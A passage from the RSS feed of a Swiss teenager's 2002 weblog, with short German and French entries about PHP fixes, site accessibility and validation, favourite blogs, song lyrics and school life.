  17793. ]]></content:encoded>
  17794.  </item>
  17795.  
  17796.  <item>
  17797.    <title>Large-Scale PHP Projects</title>
  17798.    <link>https://blog.x-way.org/Coding/2002/11/01/Large-Scale_PHP_Projects.html</link>
  17799.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=141</guid>
  17800.    <dc:creator>Andreas Jaggi</dc:creator>
  17801.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17802.    <pubDate>Fri, 01 Nov 2002 12:30:00 +0100</pubDate>
  17803.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17804.    <description><![CDATA[Bevor ich's wieder vergesse:<br><a href="http://www.schockwellenreiter.de/2002/10/30.html#a8830"><b>Der Schockwellenreiter</b></a> hat einen interessanten <a href="https://slideplayer.com/slide/13204415/"><b>Artikel</b></a> über das managen von grossen PHP Projekten gefunden.
  17805. ]]></description>
  17806.    <content:encoded><![CDATA[Bevor ich's wieder vergesse:<br><a href="http://www.schockwellenreiter.de/2002/10/30.html#a8830"><b>Der Schockwellenreiter</b></a> hat einen interessanten <a href="https://slideplayer.com/slide/13204415/"><b>Artikel</b></a> über das managen von grossen PHP Projekten gefunden.
  17807. ]]></content:encoded>
  17808.  </item>
  17809.  
  17810.  <item>
  17811.    <title>Nun geht's wieder</title>
  17812.    <link>https://blog.x-way.org/Coding/2002/10/30/Nun_gehts_wieder.html</link>
  17813.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=140</guid>
  17814.    <dc:creator>Andreas Jaggi</dc:creator>
  17815.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17816.    <pubDate>Wed, 30 Oct 2002 17:42:00 +0100</pubDate>
  17817.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17818.    <description><![CDATA[Das Kommentarzeugs hat nicht mehr funktioniert, wie ihr vielleicht gemerkt habt. Grund dafür war ein Tippfehler im PHP-Code.<pre>$layout = new layout('plain', 1<span style="color: #ff0000">,</span>);</pre>funktioniert definitiv nicht.<br><br>Kommt davon, wenn man in der Geisterstunde am PHP-Code bastelt ;-)
  17819. ]]></description>
  17820.    <content:encoded><![CDATA[Das Kommentarzeugs hat nicht mehr funktioniert, wie ihr vielleicht gemerkt habt. Grund dafür war ein Tippfehler im PHP-Code.<pre>$layout = new layout('plain', 1<span style="color: #ff0000">,</span>);</pre>funktioniert definitiv nicht.<br><br>Kommt davon, wenn man in der Geisterstunde am PHP-Code bastelt ;-)
  17821. ]]></content:encoded>
  17822.  </item>
  17823.  
  17824.  <item>
  17825.    <title>--- One of a kind ---</title>
  17826.    <link>https://blog.x-way.org/Misc/2002/10/30/---_One_of_a_kind_---.html</link>
  17827.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=139</guid>
  17828.    <dc:creator>Andreas Jaggi</dc:creator>
  17829.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17830.    <pubDate>Wed, 30 Oct 2002 15:30:00 +0100</pubDate>
  17831.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17832.    <description><![CDATA[<a href="https://web.archive.org/web/20031002223028/http://www30.brinkster.com/shivasan/"><b>Ici</b></a> j'ai trouvé un autre weblog français.
  17833. ]]></description>
  17834.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20031002223028/http://www30.brinkster.com/shivasan/"><b>Ici</b></a> j'ai trouvé un autre weblog français.
  17835. ]]></content:encoded>
  17836.  </item>
  17837.  
  17838.  <item>
  17839.    <title>S'il vous intéresse</title>
  17840.    <link>https://blog.x-way.org/Misc/2002/10/30/Sil_vous_interesse.html</link>
  17841.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=138</guid>
  17842.    <dc:creator>Andreas Jaggi</dc:creator>
  17843.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17844.    <pubDate>Wed, 30 Oct 2002 00:48:00 +0100</pubDate>
  17845.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17846.    <description><![CDATA[<a href="https://blog.x-way.org/images/30102002003025.png"><b>Voilà</b></a> une capture de mon écran.<br>Pas très intéressante je sais ;-)
  17847. ]]></description>
  17848.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/30102002003025.png"><b>Voilà</b></a> une capture de mon écran.<br>Pas très intéressante je sais ;-)
  17849. ]]></content:encoded>
  17850.  </item>
  17851.  
  17852.  <item>
  17853.    <title>Im Radio gehört</title>
  17854.    <link>https://blog.x-way.org/Music/2002/10/29/Im_Radio_gehoert.html</link>
  17855.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=137</guid>
  17856.    <dc:creator>Andreas Jaggi</dc:creator>
  17857.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17858.    <pubDate>Tue, 29 Oct 2002 22:32:00 +0100</pubDate>
  17859.    <category domain="https://blog.x-way.org/Music/">Music</category>
  17860.    <description><![CDATA[<a href="http://www.kateryan.be/"><b>Kate Ryan - Désenchantée</b></a> ist leider eine Cover-Version von <a href="https://de.wikipedia.org/wiki/Myl%C3%A8ne_Farmer"><b>Mylene Farmer - Désenchatée</b></a>
  17861. ]]></description>
  17862.    <content:encoded><![CDATA[<a href="http://www.kateryan.be/"><b>Kate Ryan - Désenchantée</b></a> ist leider eine Cover-Version von <a href="https://de.wikipedia.org/wiki/Myl%C3%A8ne_Farmer"><b>Mylene Farmer - Désenchatée</b></a>
  17863. ]]></content:encoded>
  17864.  </item>
  17865.  
  17866.  <item>
  17867.    <title>Un de plus</title>
  17868.    <link>https://blog.x-way.org/Misc/2002/10/29/Un_de_plus.html</link>
  17869.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=136</guid>
  17870.    <dc:creator>Andreas Jaggi</dc:creator>
  17871.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17872.    <pubDate>Tue, 29 Oct 2002 20:32:00 +0100</pubDate>
  17873.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17874.    <description><![CDATA[J'ai ajouté <a href="https://web.archive.org/web/20021019220621/http://iquebec.ifrance.com/bloghappy/"><b>le Shadow Blog</b></a> à ma liste des weblogs souvent visités.
  17875. ]]></description>
  17876.    <content:encoded><![CDATA[J'ai ajouté <a href="https://web.archive.org/web/20021019220621/http://iquebec.ifrance.com/bloghappy/"><b>le Shadow Blog</b></a> à ma liste des weblogs souvent visités.
  17877. ]]></content:encoded>
  17878.  </item>
  17879.  
  17880.  <item>
  17881.    <title>Je vis dans la nuit</title>
  17882.    <link>https://blog.x-way.org/Misc/2002/10/28/Je_vis_dans_la_nuit.html</link>
  17883.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=135</guid>
  17884.    <dc:creator>Andreas Jaggi</dc:creator>
  17885.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17886.    <pubDate>Mon, 28 Oct 2002 22:47:00 +0100</pubDate>
  17887.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17888.    <description><![CDATA[Hier soir j'ai travaillé jusqu'à 04.45. Et je devais me lever à 05.05. Bon, à l'école je me suis présque endormi ;-)<br>Quand je suis arrivé à la maison à 2 heures le matin, je me suis endormi tout de suite et je me suis reveillé jusqu'avant quelques minutes ;-)<br><br>Je dors le jour et je vis la nuit ;-)<br><br><span style="text-decoration: line-through;">Corrécture:</span> <span style="color: #FF0000;">Correction:</span><br>C'était à 2 heures l'après-midi quand je me suis immédiatement endormi, pas à 2 heures le matin.
  17889. ]]></description>
  17890.    <content:encoded><![CDATA[Hier soir j'ai travaillé jusqu'à 04.45. Et je devais me lever à 05.05. Bon, à l'école je me suis présque endormi ;-)<br>Quand je suis arrivé à la maison à 2 heures le matin, je me suis endormi tout de suite et je me suis reveillé jusqu'avant quelques minutes ;-)<br><br>Je dors le jour et je vis la nuit ;-)<br><br><span style="text-decoration: line-through;">Corrécture:</span> <span style="color: #FF0000;">Correction:</span><br>C'était à 2 heures l'après-midi quand je me suis immédiatement endormi, pas à 2 heures le matin.
  17891. ]]></content:encoded>
  17892.  </item>
  17893.  
  17894.  <item>
  17895.    <title>Hehe</title>
  17896.    <link>https://blog.x-way.org/Misc/2002/10/28/Hehe.html</link>
  17897.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=134</guid>
  17898.    <dc:creator>Andreas Jaggi</dc:creator>
  17899.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17900.    <pubDate>Mon, 28 Oct 2002 22:09:00 +0100</pubDate>
  17901.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17902.    <description><![CDATA[Ich hab ja wegen dem <a href="http://waterwave.ch/weblog/detail.php?id=130"><b>Auftrag fürs Zeichnen</b></a> letzte Nacht nur gerade 20 Minuten geschlafen (von 4.45 bis 5.05 Uhr;). Dafür wars dann in der Schule umso lustiger (Ich muss die Augen offen halten.... Ich muss die Augen offenhalten ...). Bei den fünf Lektionen die wir hatten wars gerade noch so aushaltbar.<br>Natürlich hab ich dann auf der Heimfahrt im Zug einfach fast ne volle Stunde gepennt (die Leute werden sich gefragt haben, um 13 Uhr ;-). Zuhause angekommen wollte ich ja ein paar neue Features für mein Weblog einbauen. Nachdem der Computer mit den entsprechenden Programmen aufgestartet war, hab ich mich wirklich nur für 20 Sekunden hingelegt (um 14.30 Uhr).<br>Aufgewacht bin ich erst jetzt ;-)<br><br>Komischerweise hab ich, obwohl ich saumüde war, sehr viel geträumt; und zwar ausschliesslich von UT, Quake und so Zeugs :-)<br>Im Aufwachen hab ich mich noch gewundert, dass ich jetzt so schön geträumt habe. Nun stellte sich heraus, dass während der ganzen Zeit <a href="https://web.archive.org/web/20021016095349/http://www.crapradio.org/"><b>CrapRadio</b></a> am laufen war.<br>Logisch, dass ich vom Gamen träumte ;-)
  17903. ]]></description>
  17904.    <content:encoded><![CDATA[Ich hab ja wegen dem <a href="http://waterwave.ch/weblog/detail.php?id=130"><b>Auftrag fürs Zeichnen</b></a> letzte Nacht nur gerade 20 Minuten geschlafen (von 4.45 bis 5.05 Uhr;). Dafür wars dann in der Schule umso lustiger (Ich muss die Augen offen halten.... Ich muss die Augen offenhalten ...). Bei den fünf Lektionen die wir hatten wars gerade noch so aushaltbar.<br>Natürlich hab ich dann auf der Heimfahrt im Zug einfach fast ne volle Stunde gepennt (die Leute werden sich gefragt haben, um 13 Uhr ;-). Zuhause angekommen wollte ich ja ein paar neue Features für mein Weblog einbauen. Nachdem der Computer mit den entsprechenden Programmen aufgestartet war, hab ich mich wirklich nur für 20 Sekunden hingelegt (um 14.30 Uhr).<br>Aufgewacht bin ich erst jetzt ;-)<br><br>Komischerweise hab ich, obwohl ich saumüde war, sehr viel geträumt; und zwar ausschliesslich von UT, Quake und so Zeugs :-)<br>Im Aufwachen hab ich mich noch gewundert, dass ich jetzt so schön geträumt habe. Nun stellte sich heraus, dass während der ganzen Zeit <a href="https://web.archive.org/web/20021016095349/http://www.crapradio.org/"><b>CrapRadio</b></a> am laufen war.<br>Logisch, dass ich vom Gamen träumte ;-)
  17905. ]]></content:encoded>
  17906.  </item>
  17907.  
  17908.  <item>
  17909.    <title>TCPA / Palladium</title>
  17910.    <link>https://blog.x-way.org/Tech/2002/10/28/TCPA__Palladium.html</link>
  17911.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=133</guid>
  17912.    <dc:creator>Andreas Jaggi</dc:creator>
  17913.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17914.    <pubDate>Mon, 28 Oct 2002 02:26:00 +0100</pubDate>
  17915.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  17916.    <description><![CDATA[<a href="https://web.archive.org/web/20021014170153/http://moon.hipjoint.de/tcpa-palladium-faq-de.html"><b>hier</b></a> gibts eine deutsche FAQ dazu.
  17917. ]]></description>
  17918.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021014170153/http://moon.hipjoint.de/tcpa-palladium-faq-de.html"><b>hier</b></a> gibts eine deutsche FAQ dazu.
  17919. ]]></content:encoded>
  17920.  </item>
  17921.  
  17922.  <item>
  17923.    <title>Noir Désir</title>
  17924.    <link>https://blog.x-way.org/Music/2002/10/27/Noir_Desir.html</link>
  17925.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=132</guid>
  17926.    <dc:creator>Andreas Jaggi</dc:creator>
  17927.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17928.    <pubDate>Sun, 27 Oct 2002 22:32:00 +0100</pubDate>
  17929.    <category domain="https://blog.x-way.org/Music/">Music</category>
  17930.    <description><![CDATA[<a href="http://www.noirdez.com"><b>The Holy Economic War</b></a><br><br>Woke up on the ground, i've thought "the earth is round"<br>so what about this new day on my way<br>is there anything new, what are we gonna do?<br>woke up in the silence then i've heard that song<br><br>and a voite said<br><br>   "this is not a bad joke<br>   this message's done for you<br>   you've got to work hard more<br>   and more<br>   for the holy economic war".<br><br>but it couldn't be no hallucinations<br>then i've read the story of the new nations<br>lord it's just as you please, i get down on my knees<br>god, it's wonderful to find the meaning of life<br><br>   "this is not a bad joke<br>   this message's done for you<br>   invade the whole world<br>   don't forget the new password<br><br>everbody sings you have<br><br>   no choice in the matter<br>   i'll become your blessed manager<br>   you've got to produce more and more<br>   for the holy economic war".<br><br>business force...<br>marketing...<br>careers...<br>success...<br><br>oh holy yeld, oh holy hell
  17931. ]]></description>
  17932.    <content:encoded><![CDATA[<a href="http://www.noirdez.com"><b>The Holy Economic War</b></a><br><br>Woke up on the ground, i've thought "the earth is round"<br>so what about this new day on my way<br>is there anything new, what are we gonna do?<br>woke up in the silence then i've heard that song<br><br>and a voite said<br><br>   "this is not a bad joke<br>   this message's done for you<br>   you've got to work hard more<br>   and more<br>   for the holy economic war".<br><br>but it couldn't be no hallucinations<br>then i've read the story of the new nations<br>lord it's just as you please, i get down on my knees<br>god, it's wonderful to find the meaning of life<br><br>   "this is not a bad joke<br>   this message's done for you<br>   invade the whole world<br>   don't forget the new password<br><br>everbody sings you have<br><br>   no choice in the matter<br>   i'll become your blessed manager<br>   you've got to produce more and more<br>   for the holy economic war".<br><br>business force...<br>marketing...<br>careers...<br>success...<br><br>oh holy yeld, oh holy hell
  17933. ]]></content:encoded>
  17934.  </item>
  17935.  
  17936.  <item>
  17937.    <title>In Extremo</title>
  17938.    <link>https://blog.x-way.org/Music/2002/10/27/In_Extremo.html</link>
  17939.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=131</guid>
  17940.    <dc:creator>Andreas Jaggi</dc:creator>
  17941.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17942.    <pubDate>Sun, 27 Oct 2002 22:20:00 +0100</pubDate>
  17943.    <category domain="https://blog.x-way.org/Music/">Music</category>
  17944.    <description><![CDATA[<a href="http://www.inextremo.de/"><b>SPIELMANNSFLUCH</b></a><br><br>Es war einmal ein König an Land und Dingen reich<br>Der saß auf seinem Throne finster und bleich<br>Was er sinnt ist Schrecken, was er blickt ist Wut<br>Was er spricht ist Geißel, was er schreibt ist Blut<br><br>Einst zog zu diesem Schlosse ein edles Sängerpaar<br>Einer hat schwarze Locken, der andre ist grau von Haar<br>Der Graue sprach zum Jungen: "Sei bereit mein Sohn,<br>Spiel die besten Lieder, stimm an den vollsten Ton!"<br><br>Es regnet, es regnet Blut<br>Es regnet den Spielmannsfluch<br><br>Es spielen die beiden Sänger im hohen Säulensaal<br>Auf dem Throne sitzt das Königspaar<br>Der König so prächtig wie blutiger Nordenschein<br>Die Königin so süß wie der Sonnenschein<br><br>Sie singen von Lenz, Liebe, Heiligkeit<br>Sie zerfloss in Wehmut, Lust war auch dabei<br>Ihr habt mein Volk geblendet, verlangt ihr nun mein Weib?<br>Der König schreit wütend, er bebt am ganzen Leib<br><br>Es regnet, es regnet Blut ...<br><br>Des Königs Schwert blitzend des Jünglings Brust durchdringt<br>Statt der goldnen Lieder nun ein Blutstrahl springt<br>Der Jüngling hat verröchelt in seines Meisters Arm<br>Dann schreit der Alte schaurig, der Marmorsaal zerspringt<br><br>Du verfluchter Mörder, du Fluch des Spielmanns Tun<br>Umsonst sei all dein Ringen, mit Blut befleckt dein Tun<br>Des Königs Namen meldet kein Lied, kein Heldenbuch<br>Versunken und vergessen- das ist des Spielmanns Fluch<br><br>Es regnet, es regnet Blut ...
  17945. ]]></description>
  17946.    <content:encoded><![CDATA[<a href="http://www.inextremo.de/"><b>SPIELMANNSFLUCH</b></a><br><br>Es war einmal ein König an Land und Dingen reich<br>Der saß auf seinem Throne finster und bleich<br>Was er sinnt ist Schrecken, was er blickt ist Wut<br>Was er spricht ist Geißel, was er schreibt ist Blut<br><br>Einst zog zu diesem Schlosse ein edles Sängerpaar<br>Einer hat schwarze Locken, der andre ist grau von Haar<br>Der Graue sprach zum Jungen: "Sei bereit mein Sohn,<br>Spiel die besten Lieder, stimm an den vollsten Ton!"<br><br>Es regnet, es regnet Blut<br>Es regnet den Spielmannsfluch<br><br>Es spielen die beiden Sänger im hohen Säulensaal<br>Auf dem Throne sitzt das Königspaar<br>Der König so prächtig wie blutiger Nordenschein<br>Die Königin so süß wie der Sonnenschein<br><br>Sie singen von Lenz, Liebe, Heiligkeit<br>Sie zerfloss in Wehmut, Lust war auch dabei<br>Ihr habt mein Volk geblendet, verlangt ihr nun mein Weib?<br>Der König schreit wütend, er bebt am ganzen Leib<br><br>Es regnet, es regnet Blut ...<br><br>Des Königs Schwert blitzend des Jünglings Brust durchdringt<br>Statt der goldnen Lieder nun ein Blutstrahl springt<br>Der Jüngling hat verröchelt in seines Meisters Arm<br>Dann schreit der Alte schaurig, der Marmorsaal zerspringt<br><br>Du verfluchter Mörder, du Fluch des Spielmanns Tun<br>Umsonst sei all dein Ringen, mit Blut befleckt dein Tun<br>Des Königs Namen meldet kein Lied, kein Heldenbuch<br>Versunken und vergessen- das ist des Spielmanns Fluch<br><br>Es regnet, es regnet Blut ...
  17947. ]]></content:encoded>
  17948.  </item>
  17949.  
  17950.  <item>
  17951.    <title>Sachen gibt's</title>
  17952.    <link>https://blog.x-way.org/School/2002/10/27/Sachen_gibts.html</link>
  17953.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=130</guid>
  17954.    <dc:creator>Andreas Jaggi</dc:creator>
  17955.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17956.    <pubDate>Sun, 27 Oct 2002 21:14:00 +0100</pubDate>
  17957.    <category domain="https://blog.x-way.org/School/">School</category>
  17958.    <description><![CDATA[Im Bildnerischen Gestalten (auch bekannt als Zeichnen;) dürfen wir <a href="https://web.archive.org/web/20021008164020/http://theochem.chem.rug.nl/~heijnen/Kienholz/MGW/MGW.html"><b>dieses Kunstwerk</b></a> beschreiben. Und das auf <b>4</b> A4-Seiten (maschinengeschrieben, versteht sich)! Zudem dürfen wir auch noch fünf Piktogramme kreieren, die in einem Flüchtlingslager eingesetzt werden können, jeglicher Gebrauch von Schrift ist natürlich strengstens verboten.<br><br>Um den Lehrer nicht so schlecht dastehen zu lassen muss folgendes noch gesagt werden:<br>Für das ganze haben wir nun schon mehr als 2 Monate Zeit (inklusive 1 Monat Ferien) und wir haben während dieser Zeit das Zeichnen fehlen dürfen, um zu Hause am Computer zu arbeiten, weil die PC's in der Schule voll die Kacke sind ;-)
  17959. ]]></description>
  17960.    <content:encoded><![CDATA[Im Bildnerischen Gestalten (auch bekannt als Zeichnen;) dürfen wir <a href="https://web.archive.org/web/20021008164020/http://theochem.chem.rug.nl/~heijnen/Kienholz/MGW/MGW.html"><b>dieses Kunstwerk</b></a> beschreiben. Und das auf <b>4</b> A4-Seiten (maschinengeschrieben, versteht sich)! Zudem dürfen wir auch noch fünf Piktogramme kreieren, die in einem Flüchtlingslager eingesetzt werden können, jeglicher Gebrauch von Schrift ist natürlich strengstens verboten.<br><br>Um den Lehrer nicht so schlecht dastehen zu lassen muss folgendes noch gesagt werden:<br>Für das ganze haben wir nun schon mehr als 2 Monate Zeit (inklusive 1 Monat Ferien) und wir haben während dieser Zeit das Zeichnen fehlen dürfen, um zu Hause am Computer zu arbeiten, weil die PC's in der Schule voll die Kacke sind ;-)
  17961. ]]></content:encoded>
  17962.  </item>
  17963.  
  17964.  <item>
  17965.    <title>Pour que je ne l'oublie pas</title>
  17966.    <link>https://blog.x-way.org/Misc/2002/10/27/Pour_que_je_ne_loublie_pas.html</link>
  17967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=129</guid>
  17968.    <dc:creator>Andreas Jaggi</dc:creator>
  17969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17970.    <pubDate>Sun, 27 Oct 2002 02:57:00 +0100</pubDate>
  17971.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17972.    <description><![CDATA[<a href="https://web.archive.org/web/20021019220621/http://iquebec.ifrance.com/bloghappy/"><b>BLOG shadow</b></a> est un journaux en français.
  17973. ]]></description>
  17974.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021019220621/http://iquebec.ifrance.com/bloghappy/"><b>BLOG shadow</b></a> est un journaux en français.
  17975. ]]></content:encoded>
  17976.  </item>
  17977.  
  17978.  <item>
  17979.    <title>J'écris aussi en français!</title>
  17980.    <link>https://blog.x-way.org/Webdesign/2002/10/27/Jecris_aussi_en_francais.html</link>
  17981.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=128</guid>
  17982.    <dc:creator>Andreas Jaggi</dc:creator>
  17983.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17984.    <pubDate>Sun, 27 Oct 2002 02:38:00 +0100</pubDate>
  17985.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17986.    <description><![CDATA[J'ai annoncé <a href="http://waterwave.ch/weblog/detail.php?id=127"><b>ici</b></a> que j'écris maintenant aussi en français. Je le fais pour entraîner mes connaissances du français. <br><span style="color: #FF0000;">Le but c'est d'augmenter mes notes en français et en histoire bilingue</span>.<br><br>Voilà mon premier lien français: <a href="https://web.archive.org/web/20021125021714/http://www.fkgb.fr/"><b>fkgb.fr</b></a> est une "agence de communication" situé à Paris avec une site très multimédiale ;-)
  17987. ]]></description>
  17988.    <content:encoded><![CDATA[J'ai annoncé <a href="http://waterwave.ch/weblog/detail.php?id=127"><b>ici</b></a> que j'écris maintenant aussi en français. Je le fais pour entraîner mes connaissances du français. <br><span style="color: #FF0000;">Le but c'est d'augmenter mes notes en français et en histoire bilingue</span>.<br><br>Voilà mon premier lien français: <a href="https://web.archive.org/web/20021125021714/http://www.fkgb.fr/"><b>fkgb.fr</b></a> est une "agence de communication" situé à Paris avec une site très multimédiale ;-)
  17989. ]]></content:encoded>
  17990.  </item>
  17991.  
  17992.  <item>
  17993.    <title>Kleine Änderungen</title>
  17994.    <link>https://blog.x-way.org/Coding/2002/10/27/Kleine_Aenderungen.html</link>
  17995.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=127</guid>
  17996.    <dc:creator>Andreas Jaggi</dc:creator>
  17997.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17998.    <pubDate>Sun, 27 Oct 2002 02:10:00 +0100</pubDate>
  17999.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18000.    <description><![CDATA[Ich hab wieder gebastelt ;-)<br>Nun ist es möglich für jeden Eintrag die Kommentarfunktion einzeln auszuschalten. Zudem hab ich vor, ab jetzt auch in Französisch zu schreiben, damit meine Franznote etwas besser wird durchs Üben. Daher hat sich MySQL-mässig auch da noch etwas geändert. Vielleicht werde ich einmal eine Abfrage mit Cookies oder so einrichten, mit der man dann nur eine Sprache anzeigen lassen kann; damit ihr nicht leiden müsst ;-)
  18001. ]]></description>
  18002.    <content:encoded><![CDATA[Ich hab wieder gebastelt ;-)<br>Nun ist es möglich für jeden Eintrag die Kommentarfunktion einzeln auszuschalten. Zudem hab ich vor, ab jetzt auch in Französisch zu schreiben, damit meine Franznote etwas besser wird durchs Üben. Daher hat sich MySQL-mässig auch da noch etwas geändert. Vielleicht werde ich einmal eine Abfrage mit Cookies oder so einrichten, mit der man dann nur eine Sprache anzeigen lassen kann; damit ihr nicht leiden müsst ;-)
  18003. ]]></content:encoded>
  18004.  </item>
  18005.  
  18006.  <item>
  18007.    <title>Des Rätsels Lösung</title>
  18008.    <link>https://blog.x-way.org/Coding/2002/10/27/Des_Raetsels_Loesung.html</link>
  18009.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=126</guid>
  18010.    <dc:creator>Andreas Jaggi</dc:creator>
  18011.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18012.    <pubDate>Sun, 27 Oct 2002 00:04:00 +0200</pubDate>
  18013.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18014.    <description><![CDATA[Die Antwort auf die <a href="http://waterwave.ch/weblog/detail.php?id=115"><b>hier</b></a> gestellte Frage lautet:<br>Damit ich Google-Suchabfragen-Links erkennen kann, und mit <pre>header("Location: suche.php?q=".$GoogleQuery);</pre> umleiten kann. Weshalb das? Damit die Links von Google, welche manchmal auf Einträge zeigen, die nicht mehr auf der index.php sind, für den Benutzer doch etwas bringen.
  18015. ]]></description>
  18016.    <content:encoded><![CDATA[Die Antwort auf die <a href="http://waterwave.ch/weblog/detail.php?id=115"><b>hier</b></a> gestellte Frage lautet:<br>Damit ich Google-Suchabfragen-Links erkennen kann, und mit <pre>header("Location: suche.php?q=".$GoogleQuery);</pre> umleiten kann. Weshalb das? Damit die Links von Google, welche manchmal auf Einträge zeigen, die nicht mehr auf der index.php sind, für den Benutzer doch etwas bringen.
  18017. ]]></content:encoded>
  18018.  </item>
  18019.  
  18020.  <item>
  18021.    <title>Nun ist so wie's sein muss!</title>
  18022.    <link>https://blog.x-way.org/Webdesign/2002/10/26/Nun_ist_so_wies_sein_muss.html</link>
  18023.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=125</guid>
  18024.    <dc:creator>Andreas Jaggi</dc:creator>
  18025.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18026.    <pubDate>Sat, 26 Oct 2002 15:13:00 +0200</pubDate>
  18027.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  18028.    <description><![CDATA[<a href="http://waterwave.ch"><b>waterwave.ch</b></a> ist nun XHTML 1.0 konform und in punkto Accessibility auch nicht schlecht gestellt.<br><br><a href="https://validator.w3.org/check?uri=http://waterwave.ch/"><img src="https://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0!" height="31" width="88"></a><br><br>Ich wäre froh, wenn jemand mit einer Software wie <a href="http://www.freedomscientific.com/fs_products/software_jaws.asp">JAWS</a> mal schauen könnte, ob waterwave.ch noch Probleme darstellt.<br>Sonstige Accesibility-Tips sind natürlich auch willkommen ;-)
  18029. ]]></description>
  18030.    <content:encoded><![CDATA[<a href="http://waterwave.ch"><b>waterwave.ch</b></a> ist nun XHTML 1.0 konform und in punkto Accessibility auch nicht schlecht gestellt.<br><br><a href="https://validator.w3.org/check?uri=http://waterwave.ch/"><img src="https://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0!" height="31" width="88"></a><br><br>Ich wäre froh, wenn jemand mit einer Software wie <a href="http://www.freedomscientific.com/fs_products/software_jaws.asp">JAWS</a> mal schauen könnte, ob waterwave.ch noch Probleme darstellt.<br>Sonstige Accesibility-Tips sind natürlich auch willkommen ;-)
  18031. ]]></content:encoded>
  18032.  </item>
  18033.  
  18034.  <item>
  18035.    <title>Accessibility zum 2.</title>
  18036.    <link>https://blog.x-way.org/Webdesign/2002/10/25/Accessibility_zum_2.html</link>
  18037.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=124</guid>
  18038.    <dc:creator>Andreas Jaggi</dc:creator>
  18039.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18040.    <pubDate>Fri, 25 Oct 2002 00:47:00 +0200</pubDate>
  18041.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  18042.    <description><![CDATA[Nun ist <a href="http://waterwave.ch"><b>waterwave.ch</b></a> HTML 4.01 und CSS 2 konform. Zudem hab ich mich durch den <a href="https://web.archive.org/web/20021029124142/https://diveintoaccessibility.org/"><b>Dive into Accessibility</b></a> Guide gewühlt und einige Sachen daraus entnommen. Nur das Kontakt-Formular und die Abkürzungen müssen noch bearbeitet werden.<br>Ergänzungen?<br><br><a href="https://validator.w3.org/check?uri=http://waterwave.ch"><img src="https://www.w3.org/Icons/valid-html401" alt="Valid HTML 4.01!" height="31" width="88"></a>  <a href="https://jigsaw.w3.org/css-validator/validator?uri=http://waterwave.ch"><img style="border:0;width:88px;height:31px" src="https://jigsaw.w3.org/css-validator/images/vcss" alt="Valid CSS!"></a>
  18043. ]]></description>
